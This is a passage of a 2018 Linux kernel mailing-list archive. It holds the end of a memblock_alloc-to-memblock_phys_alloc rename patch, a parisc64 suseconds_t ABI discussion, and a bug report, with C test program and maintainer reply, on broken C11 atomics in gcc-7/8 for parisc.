+	paddr = memblock_phys_alloc_try_nid(sizeof(struct pglist_data),
+					    SMP_CACHE_BYTES, nid);
 	if (!paddr) {
 		prom_printf("Cannot allocate pglist_data for nid[%d]\n", nid);
 		prom_halt();
@@ -1266,8 +1267,8 @@ static int __init grab_mlgroups(struct mdesc_handle *md)
 	if (!count)
 		return -ENOENT;
 
-	paddr = memblock_alloc(count * sizeof(struct mdesc_mlgroup),
-			  SMP_CACHE_BYTES);
+	paddr = memblock_phys_alloc(count * sizeof(struct mdesc_mlgroup),
+				    SMP_CACHE_BYTES);
 	if (!paddr)
 		return -ENOMEM;
 
@@ -1307,8 +1308,8 @@ static int __init grab_mblocks(struct mdesc_handle *md)
 	if (!count)
 		return -ENOENT;
 
-	paddr = memblock_alloc(count * sizeof(struct mdesc_mblock),
-			  SMP_CACHE_BYTES);
+	paddr = memblock_phys_alloc(count * sizeof(struct mdesc_mblock),
+				    SMP_CACHE_BYTES);
 	if (!paddr)
 		return -ENOMEM;
 
diff --git a/arch/unicore32/mm/mmu.c b/arch/unicore32/mm/mmu.c
index 0c94b7b..18b355a 100644
--- a/arch/unicore32/mm/mmu.c
+++ b/arch/unicore32/mm/mmu.c
@@ -144,7 +144,7 @@ static void __init build_mem_type_table(void)
 
 static void __init *early_alloc(unsigned long sz)
 {
-	void *ptr = __va(memblock_alloc(sz, sz));
+	void *ptr = __va(memblock_phys_alloc(sz, sz));
 	memset(ptr, 0, sz);
 	return ptr;
 }
diff --git a/arch/x86/mm/numa.c b/arch/x86/mm/numa.c
index fa15085..16e37d7 100644
--- a/arch/x86/mm/numa.c
+++ b/arch/x86/mm/numa.c
@@ -196,7 +196,7 @@ static void __init alloc_node_data(int nid)
 	 * Allocate node data.  Try node-local memory and then any node.
 	 * Never allocate in DMA zone.
 	 */
-	nd_pa = memblock_alloc_nid(nd_size, SMP_CACHE_BYTES, nid);
+	nd_pa = memblock_phys_alloc_nid(nd_size, SMP_CACHE_BYTES, nid);
 	if (!nd_pa) {
 		nd_pa = __memblock_alloc_base(nd_size, SMP_CACHE_BYTES,
 					      MEMBLOCK_ALLOC_ACCESSIBLE);
diff --git a/drivers/firmware/efi/memmap.c b/drivers/firmware/efi/memmap.c
index 5fc7052..ef618bc 100644
--- a/drivers/firmware/efi/memmap.c
+++ b/drivers/firmware/efi/memmap.c
@@ -15,7 +15,7 @@
 
 static phys_addr_t __init __efi_memmap_alloc_early(unsigned long size)
 {
-	return memblock_alloc(size, 0);
+	return memblock_phys_alloc(size, 0);
 }
 
 static phys_addr_t __init __efi_memmap_alloc_late(unsigned long size)
diff --git a/include/linux/memblock.h b/include/linux/memblock.h
index 4ae91fc..f16833c 100644
--- a/include/linux/memblock.h
+++ b/include/linux/memblock.h
@@ -315,10 +315,10 @@ static inline int memblock_get_region_node(const struct memblock_region *r)
 }
 #endif /* CONFIG_HAVE_MEMBLOCK_NODE_MAP */
 
-phys_addr_t memblock_alloc_nid(phys_addr_t size, phys_addr_t align, int nid);
-phys_addr_t memblock_alloc_try_nid(phys_addr_t size, phys_addr_t align, int nid);
+phys_addr_t memblock_phys_alloc_nid(phys_addr_t size, phys_addr_t align, int nid);
+phys_addr_t memblock_phys_alloc_try_nid(phys_addr_t size, phys_addr_t align, int nid);
 
-phys_addr_t memblock_alloc(phys_addr_t size, phys_addr_t align);
+phys_addr_t memblock_phys_alloc(phys_addr_t size, phys_addr_t align);
 
 /*
  * Set the allocation direction to bottom-up or top-down.
diff --git a/mm/memblock.c b/mm/memblock.c
index bba8d4e..f8b6b79 100644
--- a/mm/memblock.c
+++ b/mm/memblock.c
@@ -1320,7 +1320,7 @@ phys_addr_t __init memblock_alloc_base_nid(phys_addr_t size,
 	return memblock_alloc_range_nid(size, align, 0, max_addr, nid, flags);
 }
 
-phys_addr_t __init memblock_alloc_nid(phys_addr_t size, phys_addr_t align, int nid)
+phys_addr_t __init memblock_phys_alloc_nid(phys_addr_t size, phys_addr_t align, int nid)
 {
 	enum memblock_flags flags = choose_memblock_flags();
 	phys_addr_t ret;
@@ -1355,14 +1355,14 @@ phys_addr_t __init memblock_alloc_base(phys_addr_t size, phys_addr_t align, phys
 	return alloc;
 }
 
-phys_addr_t __init memblock_alloc(phys_addr_t size, phys_addr_t align)
+phys_addr_t __init memblock_phys_alloc(phys_addr_t size, phys_addr_t align)
 {
 	return memblock_alloc_base(size, align, MEMBLOCK_ALLOC_ACCESSIBLE);
 }
 
-phys_addr_t __init memblock_alloc_try_nid(phys_addr_t size, phys_addr_t align, int nid)
+phys_addr_t __init memblock_phys_alloc_try_nid(phys_addr_t size, phys_addr_t align, int nid)
 {
-	phys_addr_t res = memblock_alloc_nid(size, align, nid);
+	phys_addr_t res = memblock_phys_alloc_nid(size, align, nid);
 
 	if (res)
 		return res;
-- 
2.7.4

From - Thu Nov 08 21:41:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.year-2038,gmane.linux.ports.parisc
Subject: Re: [RFC] parisc64: change __kernel_suseconds_t to match glibc
Date: Mon, 17 Sep 2018 21:46:54 +0200
Lines: 66
Approved: news@gmane.org
Message-ID: <de79d285-7cbc-e547-547b-cf3e0627950d@gmx.de>
References: <20180913160010.905798-1-arnd@arndb.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1537213501 31962 195.159.176.226 (17 Sep 2018 19:45:01 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 17 Sep 2018 19:45:01 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: y2038@lists.linaro.org, Thomas Gleixner <tglx@linutronix.de>,
        linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Arnd Bergmann <arnd@arndb.de>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Sep 17 21:44:57 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g1zS2-00086I-SU
	for glk-linux-kernel-4@m.gmane.org; Mon, 17 Sep 2018 21:44:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728261AbeIRBPt (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 17 Sep 2018 21:15:49 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:39513 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1727052AbeIRBPt (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 17 Sep 2018 21:15:49 -0400
Original-Received: from [192.168.20.60] ([92.116.177.82]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0Lm3bl-1fTCpS03MX-00ZcTK; Mon, 17
 Sep 2018 21:46:55 +0200
Openpgp: preference=signencrypt
Autocrypt: addr=deller@gmx.de; prefer-encrypt=mutual; keydata=
 xsBNBFDPIPYBCAC6PdtagIE06GASPWQJtfXiIzvpBaaNbAGgmd3Iv7x+3g039EV7/zJ1do/a
 y9jNEDn29j0/jyd0A9zMzWEmNO4JRwkMd5Z0h6APvlm2D8XhI94r/8stwroXOQ8yBpBcP0yX
 +sqRm2UXgoYWL0KEGbL4XwzpDCCapt+kmarND12oFj30M1xhTjuFe0hkhyNHkLe8g6MC0xNg
 KW3x7B74Rk829TTAtj03KP7oA+dqsp5hPlt/hZO0Lr0kSAxf3kxtaNA7+Z0LLiBqZ1nUerBh
 OdiCasCF82vQ4/y8rUaKotXqdhGwD76YZry9AQ9p6ccqKaYEzWis078Wsj7p0UtHoYDbABEB
 AAHNHEhlbGdlIERlbGxlciA8ZGVsbGVyQGdteC5kZT7CwJIEEwECADwCGwMGCwkIBwMCBhUI
 AgkKCwQWAgMBAh4BAheAFiEE9M/0wAvkPPtRU6Boh8nBUbUeOGQFAlrHzIICGQEACgkQh8nB
 UbUeOGT1GAgAt+EeoHB4DbAx+pZoGbBYp6ZY8L6211n8fSi7wiwgM5VppucJ+C+wILoPkqiU
 +ZHKlcWRbttER2oBUvKOt0+yDfAGcoZwHS0P+iO3HtxR81h3bosOCwek+TofDXl+TH/WSQJa
 iaitof6iiPZLygzUmmW+aLSSeIAHBunpBetRpFiep1e5zujCglKagsW78Pq0DnzbWugGe26A
 288JcK2W939bT1lZc22D9NhXXRHfX2QdDdrCQY7UsI6g/dAm1d2ldeFlGleqPMdaaQMcv5+E
 vDOur20qjTlenjnR/TFm9t 
In-Reply-To: <20180913160010.905798-1-arnd@arndb.de>
Content-Language: en-US
X-Provags-ID: V03:K1:wHfSp2tS6CVUa0kL11aWOzZZW3M/vP47S39ZWQ/tgh6VpGr1IJm
 VKKcRwqmElosb8PlLBSYvtB0g+sPZiLFiDDBvyyQjQctCd8hl96YCTQpyOvB4XFs6ysUQ48
 lyct2EMkCTEHVazvZq5ioM5GIdMCiQdnWtpl7o9AKr2Rdny+TZx67vJ8z8fSPxx1Y7o2TNt
 8XxRi3iS0TH9zX+qa8KAw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Qb5KmUFI7xY=:nYvV6ug1BgqHRh8ikULvWY
 O2p5tX6mnoP0LtD0kgh2OXlM5ttoIwVEbZakOiBe8imr648JOrGDYcyr2oqTUEGx4u01/Uwyf
 854fLH4lTONZtUvC8DyO3SZNplsqLcXndE0JKn51YqQTHOkH00vvqPZlJfKG17TetPgnabL0V
 zCAkig2fG+9O5H4PAyXgSb2nmAGJPvhJbuwgPFtNtpHd+wCglwwgWZho9CQqsLXl5sOyvf87I
 3XKMgc+htsWTT1UX2yVPLgFPyj4nc95quwCk20xpA19NT/q09bVViuXwgBr+NfZoOMoLD2EvZ
 /dhcbFrGqQ794ptixfCkP2/xxmSyvM0WCv4mKvDxI884bWD2BIvGOlMe3OVl6kJIosZ/JuvuS
 nTS68LaJQEm5UaXpHBflPJCi5hwCfDDUA7u4Pa7VykzrzzJe4p9jf8z8BJBfgZ1kTq1xjoJaC
 iFXydO3yWX/vUbISzHl8U+GfJeSFkZ6zpGSD0I9PyuWs6bFE4JX37VK1AWMncuNO7erCBnJj/
 /qjwCo9bUProkF5OtqZCmrODM3h1xwzwLCeZsr7zyCuR9Rz6ymYfQ2jSJwTwQR2i+54GV3UL9
 imVxHYf1xY7UGJva5JasyNya91uS8sWmklPX/aJXZFRaIGAtm51tOJySiigOFNSRM/QMZ/SkC
 W8CbwyUUdi8L8kL4ek/5cgmgdEE2zgB3EJKJH817fUgmiYP0MgCm/QqJjVVkAZdjfJOQbSfNt
 jjEtc/d8pco+0CNXglppMVv+o4+jxsT0bg0tCtDZ16O0wNDaOQwoLsocLYFTcDLR+3zzMer/ 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2873064 gmane.linux.kernel.year-2038:3344 gmane.linux.ports.parisc:28972
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2873064>

Hi Arnd,

On 13.09.2018 17:59, Arnd Bergmann wrote:
> There are only two 64-bit architecture ports that have a 32-bit
> suseconds_t: sparc64 and parisc64. I've encountered a number of problems
> with this, while trying to get a proper 64-bit time_t working on 32-bit
> architectures. Having a 32-bit suseconds_t combined with a 64-bit time_t
> means that we get extra padding in data structures that may leak kernel
> stack data to user space, and it breaks all code that assumes that
> timespec and timeval have the same layout.
> 
> While we can't change sparc64, it seems that glibc on parisc64 has always
> set suseconds_t to 'long', and the current version would give incorrect
> results for gettimeofday() and many other interfaces: timestamps passed
> from user space into the kernel result in tv_usec being always zero
> (the lower bits contain the intended value but are ignored) while data
> passed from the kernel to user space contains either zeroes or random
> data in tv_usec.

Should this wrong behavior be visible with 32-bit userspace or
with 64-bit userspace (or both)?
I didn't noticed such wrong behavior yet.

Can you suggest some test programs to verify?
LTP seems to be correct.
 
> Based on that, it seems best to change the user API in the kernel in
> an incompatible way to match what glibc expects.

Basically that sounds the right way to go, but as said before,
I didn't see such issues.

> Note that the distros I could find (gentoo and debian) all just
> have 32-bit user space, which does not suffer from this problem.

That's correct.
Kernel can be 32- or 64-bit, but userspace is currentl 32-bit only.

So, breaking any 64-bit userspace is OK, since we don't have it yet.
Breaking 32-bit userspace needs some thoughts...

Helge


> Signed-off-by: Arnd Bergmann <arnd@arndb.de>
> ---
>  arch/parisc/include/uapi/asm/posix_types.h | 3 ---
>  1 file changed, 3 deletions(-)
> 
> diff --git a/arch/parisc/include/uapi/asm/posix_types.h b/arch/parisc/include/uapi/asm/posix_types.h
> index 2785632c85e7..8dce56f5dcee 100644
> --- a/arch/parisc/include/uapi/asm/posix_types.h
> +++ b/arch/parisc/include/uapi/asm/posix_types.h
> @@ -16,9 +16,6 @@ typedef unsigned short		__kernel_mode_t;
>  typedef unsigned short		__kernel_ipc_pid_t;
>  #define __kernel_ipc_pid_t __kernel_ipc_pid_t
>  
> -typedef int			__kernel_suseconds_t;
> -#define __kernel_suseconds_t __kernel_suseconds_t
> -
>  typedef long long		__kernel_off64_t;
>  typedef unsigned long long	__kernel_ino64_t;
>  
> 



From - Thu Nov 08 21:41:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: C11 atomics on parisc are broken on gcc-7 and gcc-8
Date: Tue, 18 Sep 2018 18:43:48 -0400 (EDT)
Lines: 142
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1809181805210.29259@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: blaine.gmane.org 1537312030 28357 195.159.176.226 (18 Sep 2018 23:07:10 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 18 Sep 2018 23:07:10 +0000 (UTC)
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
Cc: John David Anglin <dave.anglin@bell.net>, Helge Deller <deller@gmx.de>,
        debian-hppa@lists.debian.org
To: linux-parisc@vger.kernel.org
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Wed Sep 19 01:07:06 2018
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1g2P5F-0007HL-QC
	for debian-hppa@m.gmane.org; Wed, 19 Sep 2018 01:07:05 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id B1518196; Tue, 18 Sep 2018 23:09:16 +0000 (UTC)
X-Mailbox-Line: From debian-hppa-request@lists.debian.org  Tue Sep 18 23:09:16 2018
Old-Return-Path: <mpatocka@redhat.com>
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id C5885115
	for <lists-debian-hppa@bendel.debian.org>; Tue, 18 Sep 2018 22:54:04 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-6.88 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FOURLA=0.1, MURPHY_DRUGS_REL8=0.02,
	RCVD_IN_DNSWL_HI=-5] autolearn=ham autolearn_force=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id ch9Oh-xIEV0k for <lists-debian-hppa@bendel.debian.org>;
	Tue, 18 Sep 2018 22:53:59 +0000 (UTC)
X-policyd-weight: using cached result; rate:hard: -6.1
X-Greylist: delayed 606 seconds by postgrey-1.36 at bendel; Tue, 18 Sep 2018 22:53:59 UTC
Original-Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28])
	(using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
	(Client did not present a certificate)
	by bendel.debian.org (Postfix) with ESMTPS id 4D379108
	for <debian-hppa@lists.debian.org>; Tue, 18 Sep 2018 22:53:59 +0000 (UTC)
Original-Received: from smtp.corp.redhat.com (int-mx03.intmail.prod.int.phx2.redhat.com [10.5.11.13])
	(using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx1.redhat.com (Postfix) with ESMTPS id 9720388E52;
	Tue, 18 Sep 2018 22:43:49 +0000 (UTC)
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
	by smtp.corp.redhat.com (Postfix) with ESMTPS id 495C77EED9;
	Tue, 18 Sep 2018 22:43:49 +0000 (UTC)
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id w8IMhmS9004394;
	Tue, 18 Sep 2018 18:43:48 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id w8IMhmhQ004390;
	Tue, 18 Sep 2018 18:43:48 -0400
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
X-Scanned-By: MIMEDefang 2.79 on 10.5.11.13
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16 (mx1.redhat.com [10.5.110.25]); Tue, 18 Sep 2018 22:43:49 +0000 (UTC)
X-Rc-Spam: 2008-11-04_01
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <H2w1DulMLpN.A.nQF.cWYobB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/8751
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <https://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
List-Archive: https://lists.debian.org/msgid-search/alpine.LRH.2.02.1809181805210.29259@file01.intranet.prod.int.rdu2.redhat.com
Resent-Date: Tue, 18 Sep 2018 23:09:16 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:7767 gmane.linux.ports.parisc:28973
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/7767>

Hi

I have noticed that C11 atomics are broken on gcc-7 and gcc-8 on parisc. 

When writing an atomic variable, gcc-6 and before calls the library 
function __sync_val_compare_and_swap_4. That calls the kernel and takes 
the lock. There's no problem.

gcc-7 and gcc-8 don't call it, they just directly write the atomic 
variable, optionally with the "sync" instructions before or after 
(depending on the memory model).

Now the problem is - suppose that an atomic write races with atomic 
exchange on the same variable. Either the write wins the race (in that 
case the exchange operation should return the value that was written by 
the write) or the exchange wins the race (in that case the value that was 
written by the write should permanently stay in the variable). On parisc, 
the written value is lost, because the write doesn't take the lock.


Initially, val == 1

Thread 1 (excuting atomic_exchange_explicit(&val, 3, memory_order_relaxed))
read the variable from userspace (reads 1)
call __sync_val_compare_and_swap_4
call the kernel
take the lock
read the variable inside the kernel (reads 1), so it is going to proceed with the write

Thread 2 (executing atomic_store_explicit(&val, 2, memory_order_relaxed))
write the variable with 2

Thread 1 (continuing)
write the variable with 3
drop the lock
exit the kernel
exit __sync_val_compare_and_swap_4

--- the value "2" that was written by thread 2 is lost.


The bug can be tested with this program. When compiled with gcc-7 or 
gcc-8, it fails with "(after 4726 loops): atomics are broken, val = 3, 
xchg returned 1". With gcc-6 or gcc-5 it works.

What's strange is that this bug only happens with the gcc-7 and gcc-8 from 
debian ports, when I compiled gcc 7.3.0 on my own, it properly generates 
the call to __sync_val_compare_and_swap_4. Did someone patch the gcc in 
Debian? Or is it caused by some configure parameter?

Mikulas



#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <pthread.h>
#include <stdatomic.h>

static pthread_barrier_t barrier;

static atomic_int val;

static void *thread(void *p)
{
	int r;
	struct random_data rnd;
	char rnd_buf[256];
	volatile int32_t w;

	rnd.state = NULL;
	if (initstate_r(2, rnd_buf, sizeof rnd_buf, &rnd)) perror("initstate_r"), exit(1);

	while (1) {
		r = pthread_barrier_wait(&barrier);
		if (r > 0) fprintf(stderr, "pthread_barrier_wait: %s\n", strerror(r)), exit(1);

		if (random_r(&rnd, (int32_t *)&w)) perror("random_r");
		w &= 0xfff;
		while (w--) ;

		atomic_store_explicit(&val, 2, memory_order_relaxed);

		r = pthread_barrier_wait(&barrier);
		if (r > 0) fprintf(stderr, "pthread_barrier_wait: %s\n", strerror(r)), exit(1);

		r = pthread_barrier_wait(&barrier);
		if (r > 0) fprintf(stderr, "pthread_barrier_wait: %s\n", strerror(r)), exit(1);
	}
}

int main(void)
{
	int r, x;
	pthread_t t;
	struct random_data rnd;
	char rnd_buf[256];
	volatile int32_t w;
	int loops = 0;

	rnd.state = NULL;
	if (initstate_r(1, rnd_buf, sizeof rnd_buf, &rnd)) perror("initstate_r"), exit(1);

	r = pthread_barrier_init(&barrier, NULL, 2);
	if (r) fprintf(stderr, "pthread_barrier_init: %s\n", strerror(r)), exit(1);
	r = pthread_create(&t, NULL, thread, NULL);
	if (r) fprintf(stderr, "pthread_create: %s\n", strerror(r)), exit(1);

	while (1) {
		atomic_init(&val, 1);
		r = pthread_barrier_wait(&barrier);
		if (r > 0) fprintf(stderr, "pthread_barrier_wait: %s\n", strerror(r)), exit(1);

		if (random_r(&rnd, (int32_t *)&w)) perror("random_r");
		w &= 0xfff;
		while (w--) ;

		x = atomic_exchange_explicit(&val, 3, memory_order_relaxed);

		r = pthread_barrier_wait(&barrier);
		if (r > 0) fprintf(stderr, "pthread_barrier_wait: %s\n", strerror(r)), exit(1);

		if (!(
			(x == 2 && atomic_load_explicit(&val, memory_order_relaxed) == 3) ||
			(x == 1 && atomic_load_explicit(&val, memory_order_relaxed) == 2)
		   )) {
			fprintf(stderr, "(after %d loops): atomics are broken, val = %d, xchg returned %d\n", loops, atomic_load_explicit(&val, memory_order_relaxed), x);
			exit(1);
		}

		r = pthread_barrier_wait(&barrier);
		if (r > 0) fprintf(stderr, "pthread_barrier_wait: %s\n", strerror(r)), exit(1);

		loops++;

		if (!(loops % 1000))
			fprintf(stderr, "%d\r", loops);
	}
}



From - Thu Nov 08 21:41:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: C11 atomics on parisc are broken on gcc-7 and gcc-8
Date: Tue, 18 Sep 2018 19:13:14 -0400
Lines: 160
Approved: news@gmane.org
Message-ID: <1a7f70f6-1a33-6cce-1c21-e83f3b65982a@bell.net>
References: <alpine.LRH.2.02.1809181805210.29259@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1537312286 14108 195.159.176.226 (18 Sep 2018 23:11:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 18 Sep 2018 23:11:26 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.9.1
Cc: Helge Deller <deller@gmx.de>, debian-hppa@lists.debian.org
To: Mikulas Patocka <mpatocka@redhat.com>, linux-parisc@vger.kernel.org
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Wed Sep 19 01:11:22 2018
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1g2P9N-0003b1-OR
	for debian-hppa@m.gmane.org; Wed, 19 Sep 2018 01:11:21 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id ADE7E1B4; Tue, 18 Sep 2018 23:13:32 +0000 (UTC)
X-Mailbox-Line: From debian-hppa-request@lists.debian.org  Tue Sep 18 23:13:32 2018
Old-Return-Path: <dave.anglin@bell.net>
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id 328741A7
	for <lists-debian-hppa@bendel.debian.org>; Tue, 18 Sep 2018 23:13:24 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-7.579 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FOURLA=0.1, LDO_WHITELIST=-5,
	MURPHY_DRUGS_REL8=0.02, RCVD_IN_DNSWL_LOW=-0.7,
	UNPARSEABLE_RELAY=0.001] autolearn=ham autolearn_force=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id 2ndok840x-kW for <lists-debian-hppa@bendel.debian.org>;
	Tue, 18 Sep 2018 23:13:18 +0000 (UTC)
Original-Received: from torfep02.bell.net (simcoe208srvr.owm.bell.net [184.150.200.208])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "", Issuer "Openwave Messaging Inc." (not verified))
	by bendel.debian.org (Postfix) with ESMTPS id 9C5F9115
	for <debian-hppa@lists.debian.org>; Tue, 18 Sep 2018 23:13:18 +0000 (UTC)
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20180918231315.CPNL19392.torfep02.bell.net@torspm01.bell.net>
          for <debian-hppa@lists.debian.org>;
          Tue, 18 Sep 2018 19:13:15 -0400
Original-Received: from [192.168.2.49] (really [70.53.62.196]) by torspm01.bell.net
          with ESMTP
          id <20180918231315.LSUY26298.torspm01.bell.net@[192.168.2.49]>;
          Tue, 18 Sep 2018 19:13:15 -0400
In-Reply-To: <alpine.LRH.2.02.1809181805210.29259@file01.intranet.prod.int.rdu2.redhat.com>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=DZT4krlW c=1 sm=0 tr=0 a=Zvhif4XNTjWcJyJCfFIh1A==:17 a=IkcTkHD0fZMA:10 a=JBFolyDoGHsA:10 a=FBHGMhGWAAAA:8 a=G-lruoq7efozHUFRGRkA:9 a=QEXdDO2ut3YA:10 a=9gvnlMMaQFpL9xblJ6ne:22
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <KO-6HboQAnN.A.FrF.caYobB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/8752
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <https://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
List-Archive: https://lists.debian.org/msgid-search/1a7f70f6-1a33-6cce-1c21-e83f3b65982a@bell.net
Resent-Date: Tue, 18 Sep 2018 23:13:32 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:7768 gmane.linux.ports.parisc:28974
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/7768>

Hi Mikulas,

You are correct.  The problem is my fault.  I changed gcc when it was 
realized that PA 2.0
executes loads and stores out of order.  I need to add back some code 
that was there before.

Debian has picked up the recent gcc update.

We need to use compare and swap for atomic writes since they can be used 
with the synthesized
compare and swap operation.

Thanks,
Dave

On 2018-09-18 6:43 PM, Mikulas Patocka wrote:
> Hi
>
> I have noticed that C11 atomics are broken on gcc-7 and gcc-8 on parisc.
>
> When writing an atomic variable, gcc-6 and before calls the library
